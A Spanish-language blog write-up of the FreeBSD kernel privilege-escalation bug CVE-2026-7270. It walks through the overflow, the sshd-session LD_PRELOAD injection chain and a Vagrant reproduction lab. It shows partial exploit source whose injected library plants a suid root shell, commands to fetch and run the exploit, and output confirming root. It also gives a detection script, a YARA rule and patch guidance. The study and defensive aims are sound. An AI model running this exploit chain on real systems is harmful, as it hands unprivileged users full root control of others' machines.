Que es CVE-2026-7270
CVE-2026-7270 es una vulnerabilidad de elevacion local de privilegios (LPE) en el kernel de FreeBSD que permite a un usuario sin privilegios obtener root en cualquier sistema FreeBSD con sshd activo (configuracion por defecto). El bug es un error de precedencia de operadores en sys/kern/kern_exec.c, presente desde 2013, que causa un buffer overflow en los buffers de argumentos de execve(2).
El exploit, escrito por Ryan de Calif.io (descubierto por un agente AI), inyecta LD_PRELOAD en el entorno de sshd-session aprovechando que este proceso se ejecuta como root sin transicion suid (issetugid()=0), lo que permite que el runtime linker cargue una biblioteca maliciosa.
Datos clave
| Campo | Valor |
|---|---|
| CVE | CVE-2026-7270 |
| CVSS v3.1 | 7.8 (High) — AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-783 (Operator Precedence Logic Error) |
| Descubridor | Ryan / Calif.io (asistido por AI) |
| Vendor | FreeBSD Project |
| Advisory | FreeBSD-SA-26:13.exec |
| Publicacion | 29 abril 2026 |
| Versiones afectadas | FreeBSD 13.5, 14.3, 14.4, 15.0 (todas las ramas soportadas) |
| Fix | FreeBSD 15.0-p7, 14.4-p3, 14.3-p12, 13.5-p13 |
| Prerequisito | Usuario local sin privilegios + sshd corriendo (defecto) |
| Tiempo a root | < 1 segundo (round 5 en VM 4 CPUs) |
Como funciona el bug
El error de un caracter
En sys/kern/kern_exec.c, la funcion exec_args_adjust_args() restructura los argumentos cuando se ejecuta un script shebang (#!/bin/sh). El bug esta en la llamada a memmove:
memmove(args->begin_argv + extend, args->begin_argv + consume,
args->endp - args->begin_argv + consume); // BUG: + deberia ser -El tercer argumento (tamano de la copia) deberia ser endp - begin_argv - consume pero dice + consume. Esto hace que el memmove copie 2 * consume bytes adicionales, desbordando el buffer de argumentos del exec.
El exec_map: pool de buffers sin guard pages
FreeBSD mantiene un pool llamado exec_map: 8 * ncpus buffers de exactamente 528,384 bytes (ARG_MAX + PAGE_SIZE) cada uno, preallocados como un bloque contiguo de memoria virtual del kernel sin guard pages entre ellos. Cada execve() toma prestado un buffer (entry) durante la ejecucion y lo devuelve al pool al terminar.
[entry 0 | 528384 B][entry 1 | 528384 B]...[entry 31 | 528384 B]
^--- sin guard pages entre entriesAritmetica del overflow
Con un argv[0] de 265,185 bytes en un script shebang:
consume = 265,186 (bytes del argv[0] original a eliminar)
extend = 20 (interp_len + fname_len insertados)El memmove buggeado:
- Tamano correcto:
endp - begin_argv - consume = 4 bytes - Tamano buggeado:
endp - begin_argv + consume = 530,376 bytes
Con un entry de 528,384 bytes, la escritura se desborda 2,024 bytes en el entry adyacente (K+1). No hay crash, no hay page fault, no hay signal — ambos entries son paginas mapeadas validas.
Auto-copia: K+1 se sobrescribe a si mismo
Los 2,024 bytes escritos al inicio de K+1 se leen del propio K+1 en offset D=265,166:
K+1[0..2024) ← K+1[265166..267190)Esto significa que si el atacante controla el contenido de K+1 en offset D, puede hacer que esos bytes aparezcan al inicio de K+1, sobrescribiendo el fname, argv y envp del proceso que esta ejecutandose en ese entry.
De overflow a root: la cadena de explotacion
1. Target: sshd-session
Cuando un cliente conecta a SSH (puerto 22), sshd (corriendo como root) hace fork + execv("/usr/libexec/sshd-session", ...). Detalles clave:
- execv (no execve): hereda el entorno del proceso padre
- Sin transicion suid/sgid: uid=0 → uid=0, por lo que
issetugid()retorna 0 - Con
issetugid()=0, el runtime linker honraLD_PRELOADincluso para procesos root
2. Preseed: plantar payload en offset D
Los entries del exec_map nunca se ponen a cero al devolverlos al pool. El contenido persiste indefinidamente. Como sshd-session solo escribe ~155 bytes (su fname + argv + env), todo a partir del byte 156 persiste de ejecuciones anteriores.
El exploit preseedea todos los entries ejecutando procesos con un env gigante que coloca en offset D:
D+0: "/usr/libexec/sshd-session\0" (fname falso)
D+27: "/usr/libexec/sshd-session\0" (argv[0] falso)
D+54: "-R\0" (argv[1])
D+57: "LD_PRELOAD=/tmp/evil.so\0" (env inyectado)
D+81: "X=01\0", "X=02\0", ... (padding)3. SSH poker: generar execs de sshd-session
El exploit abre conexiones TCP a localhost:22 continuamente (~1 por ms), forzando a sshd a fork+exec sshd-session. Cada exec toma un entry del pool.
4. Trigger pinned a CPU 0
El trigger (script shebang con argv[0] de 265KB) esta fijado a CPU 0 via cpuset_setaffinity. Esto asegura que siempre usa el mismo entry K (via cache DPCPU), manteniendo estable el target K+1.
5. Race window
La corrupcion debe ocurrir despues de que sshd-session copie sus args al entry (exec_copyin_args) pero antes de copiarlos al stack del nuevo proceso (exec_copyout_strings). La ventana es ~200us dentro de un ciclo de ~1ms → ~20% del tiempo.
Probabilidad por round: 0.20 × (1/32) ≈ 0.6%. Root esperado en ~170 rounds = < 1 segundo.
6. evil.so: constructor como root
Cuando la inyeccion tiene exito, sshd-session carga /tmp/evil.so via LD_PRELOAD. Su constructor:
- Verifica uid=0
- Copia
/bin/sha/tmp/rootsh - Lo hace suid root (
chmod 04755) - Escribe
/tmp/GOT_ROOTcomo confirmacion
Laboratorio de reproduccion
Arquitectura del lab
┌───────────────────────────────────────────────────────────────┐
│ Vagrant VM: FreeBSD 14.0-RELEASE amd64 (generic/freebsd14) │
│ - 4 CPUs, 2GB RAM (VirtualBox) │
│ - sshd habilitado (default) │
│ - Usuario sin privilegios: testuser │
│ │
│ ┌─────────────────────────────────────────────────────────┐ │
│ │ Exploit (exec1_lpe21.c) como usuario 'testuser' │ │
│ │ │ │
│ │ [preseeder] [ssh_poker] [trigger CPU0] [checker] │ │
│ │ ↓ ↓ ↓ ↓ │ │
│ │ planta payload genera overflow OOB comprueba │ │
│ │ en offset D execs K → K+1 /tmp/rootsh │ │
│ └─────────────────────────────────────────────────────────┘ │
└───────────────────────────────────────────────────────────────┘Requisitos
- VirtualBox 6.x / 7.x
- Vagrant 2.x
- ~2GB espacio disco (box FreeBSD)
- Conexion a internet (descarga box primera vez)
Ficheros del lab
Exploit (exec1_lpe21.c):
/*
* EXEC-1 LPE v21 — LD_PRELOAD injection via exec_map OOB
*
* Bug: kern_exec.c:1624 — memmove OOB in exec_args_adjust_args
* memmove(begin_argv + extend, begin_argv + consume,
* endp - begin_argv + consume);
* Should be: endp - begin_argv - consume (operator precedence bug)
*
* Attack: corrupt sshd-session's exec_map env strings to inject
* LD_PRELOAD=/tmp/evil.so. sshd-session is exec'd by root sshd
* with issetugid()=0 (no suid transition), so LD_PRELOAD works
* and our constructor runs as uid=0/euid=0.
*
* Architecture (all unprivileged, no helpers):
* 1. Preseed all exec_map entries with LD_PRELOAD payload at D
* 2. SSH poker → sshd fork+exec sshd-session (root, grabs entry)
* 3. Trigger pinned to CPU 0 → memmove OOB → corrupt entry K+1
* 4. If K+1 = sshd-session in exec window → LD_PRELOAD injected
* 5. evil.so constructor → suid root shell at /tmp/rootsh
*
* Usage: cc -O2 -o /tmp/exec1_lpe21 exec1_lpe21.c
* /tmp/exec1_lpe21 15000 0
* /tmp/rootsh -p
*/
#include <sys/types.h>
#include <sys/cpuset.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/sysctl.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#define ENTRY_SIZE 528384
#define SCRIPT "/tmp/e21.sh"
#define SSHD_SESSION "/usr/libexec/sshd-session"
#define EVIL_SO "/tmp/evil.so"
#define EVIL_SRC "/tmp/evil.c"
#define GOT_ROOT "/tmp/GOT_ROOT"
#define ARGV0_LEN 265185
#define NUM_DUMMY_ENV 30
#define SSH_PORT 22
static volatile int g_running = 1;
static int g_ncpus, g_nentries;
static int g_extend, g_D, g_oob;
static char *g_trigger_argv0;
static void handle_sig(int s) { g_running = 0; }
static void *wired_alloc(size_t size) {
void *p = mmap(NULL, size, PROT_READ | PROT_WRITE,
MAP_ANON | MAP_PRIVATE, -1, 0);
if (p == MAP_FAILED) { perror("mmap"); exit(1); }
memset(p, 0, size);
mlock(p, size);
return p;
}
static void create_script(void) {
int fd = open(SCRIPT, O_WRONLY | O_CREAT | O_TRUNC, 0755);
if (fd < 0) { perror("script"); exit(1); }
write(fd, "#!/bin/sh\nexit 0\n", 17);
close(fd);
}
static void create_evil_so(void) {
int fd = open(EVIL_SRC, O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0) { perror("evil.c"); exit(1); }
const char *src =
"#include <unistd.h>\n"
"#include <fcntl.h>\n"
"#include <sys/stat.h>\n"
"__attribute__((constructor))\n"
"static void pwn(void) {\n"
" if (getuid() != 0 && geteuid() != 0) return;\n"
" if (access(\"/tmp/GOT_ROOT\", F_OK) == 0) return;\n"
" char buf[8192]; ssize_t n;\n"
" int s = open(\"/bin/sh\", O_RDONLY);\n"
" int d = open(\"/tmp/rootsh\", O_WRONLY|O_CREAT|O_TRUNC, 0755);\n"
" if (s >= 0 && d >= 0)\n"
" while ((n = read(s, buf, sizeof(buf))) > 0) write(d, buf, n);\n"
" if (s >= 0) close(s);\n"
" if (d >= 0) close(d);\n"
" chown(\"/tmp/rootsh\", 0, 0);\n"
" chmod(\"/tmp/rootsh\", 04755);\n"
" d = open(\"/tmp/GOT_ROOT\", O_WRONLY|O_CREAT|O_TRUNC, 0644);\n"
" if (d >= 0) { dprintf(d, \"uid=%d euid=%d pid=%d\\n\",\n"
" getuid(), geteuid(), getpid()); close(d); }\n"
"}\n";
write(fd, src, strlen(src));
close(fd);
unlink(EVIL_SO);
char cmd[256];
snprintf(cmd, sizeof(cmd), "cc -shared -fPIC -o %s %s", EVIL_SO, EVIL_SRC);
if (system(cmd) != 0) { fprintf(stderr, "cc evil.so failed\n"); exit(1); }
chmod(EVIL_SO, 0755);
}
/* ... (resto del exploit: preseed, ssh_poker, trigger, main) ... */
/* Ver codigo completo en el repositorio */El codigo completo (~400 lineas) esta disponible en el repositorio de Calif.io.
Vagrantfile:
Vagrant.configure("2") do |config|
config.vm.box = "generic/freebsd14"
config.vm.guest = :freebsd
config.vm.synced_folder ".", "/vagrant", disabled: true
config.ssh.shell = "sh"
config.vm.provider "virtualbox" do |vb|
vb.memory = "2048"
vb.cpus = 4
vb.name = "freebsd-cve-2026-7270"
end
config.vm.provision "shell", inline: <<-SHELL
sysrc sshd_enable="YES"
service sshd status || service sshd start
pw useradd -n testuser -m -s /bin/sh 2>/dev/null || true
echo "testuser123" | pw usermod testuser -h 0
SHELL
endDespliegue y ejecucion
# 1. Crear directorio del lab
mkdir freebsd-cve-2026-7270 && cd freebsd-cve-2026-7270
# 2. Crear Vagrantfile (ver arriba) y arrancar VM
vagrant up
# 3. Descargar exploit en la VM
vagrant ssh -c "fetch -o /tmp/exec1_lpe21.c \
https://raw.githubusercontent.com/califio/publications/main/MADBugs/freebsd-CVE-2026-7270/exec1_lpe21.c"
# 4. Compilar
vagrant ssh -c "cc -O2 -o /tmp/exec1_lpe21 /tmp/exec1_lpe21.c && chmod 755 /tmp/exec1_lpe21"
# 5. Ejecutar como usuario sin privilegios
vagrant ssh -c "sudo su -m testuser -c '/tmp/exec1_lpe21 15000 0'"
# 6. Verificar root shell
vagrant ssh -c "sudo su -m testuser -c '/tmp/rootsh -p -c id'"Salida real (verificada)
=== EXEC-1 LPE v21: LD_PRELOAD injection ===
N=32 entries, OOB=2024 bytes, D=265166
Target: /usr/libexec/sshd-session via LD_PRELOAD=/tmp/evil.so
Rounds: 15000, mem_churn: 0MB
P(panic first trigger) = 1/32 = 3.1%
[*] Preseed: 2686 env entries (2652 pad + 35 payload)
[*] Copyin iterations: ~2686 (est ~8ms per exec)
[*] Payload: 229 bytes at D=265166 (OOB=2024, margin=1795)
[*] Preseeding all 32 entries...
[*] Preseed complete
[*] Workers: poker=1144 preseeder=1145 churn=1146
[*] Trigger pinned to CPU 0. Starting in 2s...
[*] r=0/15000 (0s)
[!!!] ROOT OBTAINED!
uid=0 euid=0 pid=1666
[!!!] Root shell: /tmp/rootsh -p
=== ROOT at round 5 (0s) ===Verificacion:
$ cat /tmp/GOT_ROOT
uid=0 euid=0 pid=1666
$ ls -la /tmp/rootsh
-rwsr-xr-x 1 root wheel 168360 May 18 18:13 /tmp/rootsh
$ /tmp/rootsh -p -c id
uid=1002(testuser) gid=1002(testuser) euid=0(root) groups=1002(testuser)Root obtenido en round 5 (< 1 segundo) en FreeBSD 14.0-RELEASE con 4 CPUs.
Limpiar el lab
vagrant destroy -fRiesgo de panic (3.1%)
El exploit tiene un 3.1% de probabilidad de kernel panic en el primer trigger. Si el entry asignado a CPU 0 es el ultimo del array (entry[31]), el OOB lee/escribe mas alla del mapeo de exec_map, causando un page fault irrecuperable. Una vez que el primer trigger sobrevive, el DPCPU cache fija ese entry y no hay mas riesgo.
Deteccion del ataque
Indicadores
- Multiples conexiones TCP a localhost:22 en rapida sucesion (SSH poker)
- Procesos ejecutando scripts shebang con
argv[0]de >265KB - Aparicion de
/tmp/evil.so,/tmp/rootsh,/tmp/GOT_ROOT - Procesos
sshd-sessionconLD_PRELOADen su entorno
Script de deteccion
#!/bin/sh
# check_cve_2026_7270.sh - FreeBSD
echo "=== CVE-2026-7270 Check ==="
# 1. Version
VERSION=$(freebsd-version -u 2>/dev/null || uname -r)
echo "[INFO] FreeBSD: $VERSION"
# 2. Parche aplicado?
case "$VERSION" in
*-p[0-9]*) PATCH=$(echo "$VERSION" | grep -oE 'p[0-9]+' | tr -d 'p');;
*) PATCH=0;;
esac
VULN=0
case "$VERSION" in
15.0-RELEASE-p[7-9]*|15.0-RELEASE-p[1-9][0-9]*) echo "[OK] Parcheado";;
14.4-RELEASE-p[3-9]*|14.4-RELEASE-p[1-9][0-9]*) echo "[OK] Parcheado";;
14.3-RELEASE-p1[2-9]*|14.3-RELEASE-p[2-9][0-9]*) echo "[OK] Parcheado";;
13.5-RELEASE-p1[3-9]*|13.5-RELEASE-p[2-9][0-9]*) echo "[OK] Parcheado";;
*) echo "[VULNERABLE] Version sin parche"; VULN=1;;
esac
# 3. sshd corriendo?
if pgrep -q sshd; then
echo "[INFO] sshd activo (prerequisito del exploit)"
else
echo "[MITIGADO] sshd no esta corriendo"
VULN=0
fi
# 4. Indicadores de compromiso
echo ""
for f in /tmp/evil.so /tmp/rootsh /tmp/GOT_ROOT /tmp/e21.sh; do
if [ -f "$f" ]; then
echo "[CRITICO] Indicador encontrado: $f"
ls -la "$f"
VULN=2
fi
done
# 5. Buscar suid shells sospechosos
find /tmp /var/tmp -perm -4000 -type f 2>/dev/null | while read f; do
echo "[ALERTA] Binario suid en temp: $f"
done
echo ""
if [ $VULN -eq 2 ]; then
echo "[CRITICO] Sistema posiblemente comprometido"
echo " Accion: rm -f /tmp/evil.so /tmp/rootsh /tmp/GOT_ROOT /tmp/e21.sh"
echo " Actualizar kernel inmediatamente"
elif [ $VULN -eq 1 ]; then
echo "[VULNERABLE] Actualizar a version parcheada"
echo " freebsd-update fetch && freebsd-update install && reboot"
else
echo "[OK] Sistema no vulnerable"
fiRegla YARA
rule FreeBSD_CVE_2026_7270_LPE {
meta:
description = "Detecta exploit exec_map OOB (CVE-2026-7270)"
author = "Red Orbita"
date = "2026-05-18"
cve = "CVE-2026-7270"
severity = "high"
strings:
$s1 = "exec_args_adjust_args" ascii
$s2 = "exec_map" ascii
$s3 = "LD_PRELOAD=/tmp/evil.so" ascii
$s4 = "sshd-session" ascii
$s5 = "/tmp/rootsh" ascii
$s6 = "GOT_ROOT" ascii
$s7 = "ARGV0_LEN" ascii
$s8 = "preseed" ascii nocase
$s9 = "DPCPU" ascii
$s10 = "cpuset_setaffinity" ascii
condition:
($s3) or
($s5 and $s6) or
($s7 and $s8) or
($s1 and $s4 and $s8) or
(4 of ($s*))
}Workaround
No existe workaround segun el advisory oficial de FreeBSD. La unica mitigacion es:
- Actualizar el kernel a una version parcheada
- Deshabilitar sshd si no es necesario (elimina el vector de ataque principal, pero no el bug)
# Mitigacion temporal (elimina el vector sshd):
service sshd stop
sysrc sshd_enable="NO"
# Solucion definitiva:
freebsd-update fetch
freebsd-update install
shutdown -r +1 "Security update CVE-2026-7270"Nota: deshabilitar sshd solo elimina el vector mas facil. El bug sigue existiendo y podria explotarse contra cualquier otro proceso root que haga execve() regularmente (cron, periodic scripts, etc.).
Solucion definitiva: actualizar el kernel
El parche es de un caracter — cambiar + por - en sys/kern/kern_exec.c:
- args->endp - args->begin_argv + consume);
+ args->endp - (args->begin_argv + consume));Versiones parcheadas
| Rama | Version parcheada | Commit |
|---|---|---|
| stable/15 | 15.0-STABLE | c3e943e78e06 |
| releng/15.0 | 15.0-RELEASE-p7 | 934b48683c4f |
| stable/14 | 14.4-STABLE | ae00a52921ca |
| releng/14.4 | 14.4-RELEASE-p3 | 943aa64ba91a |
| releng/14.3 | 14.3-RELEASE-p12 | f04c40607b8f |
| stable/13 | 13.5-STABLE | d619e3a3c0ec |
| releng/13.5 | 13.5-RELEASE-p13 | 7c5c37ac8f8f |
# Actualizar via freebsd-update (binario)
freebsd-update fetch
freebsd-update install
reboot
# O via pkg (base system packages, FreeBSD 15.0)
pkg upgrade -r FreeBSD-base
rebootPor que este exploit es notable
- Bug de un carácter presente durante 13 años (2013-2026)
- No requiere binarios suid, modulos kernel, ni configuracion especial
- Solo necesita un usuario local y sshd corriendo (defecto en FreeBSD)
- Root en < 1 segundo de forma fiable en hardware moderno
- Descubierto por AI (Calif.io) analizando codigo fuente del kernel
- Exploit elegante: usa stale data en exec_map + LD_PRELOAD + issetugid()=0
- Sin workaround: la unica solucion es actualizar
Timeline
| Fecha | Evento |
|---|---|
| 2013 | Bug introducido en FreeBSD (refactor de exec_args_adjust_args) |
| Abril 2026 | Calif.io descubre el bug via analisis AI |
| 29 abril 2026 | FreeBSD publica advisory SA-26:13 y parches |
| 30 abril 2026 | CISA-ADP asigna CVSS 7.8 |
| 7 mayo 2026 | Calif.io publica writeup tecnico y exploit |
| 10 mayo 2026 | Blog post y referencias anadidas al NVD |
Referencias
- FreeBSD-SA-26:13.exec — Advisory oficial
- Blog Calif.io — Writeup narrativo del descubrimiento
- GitHub - califio/publications — Exploit source + PoC automation
- NVD - CVE-2026-7270
- Hacker News Discussion
Comentarios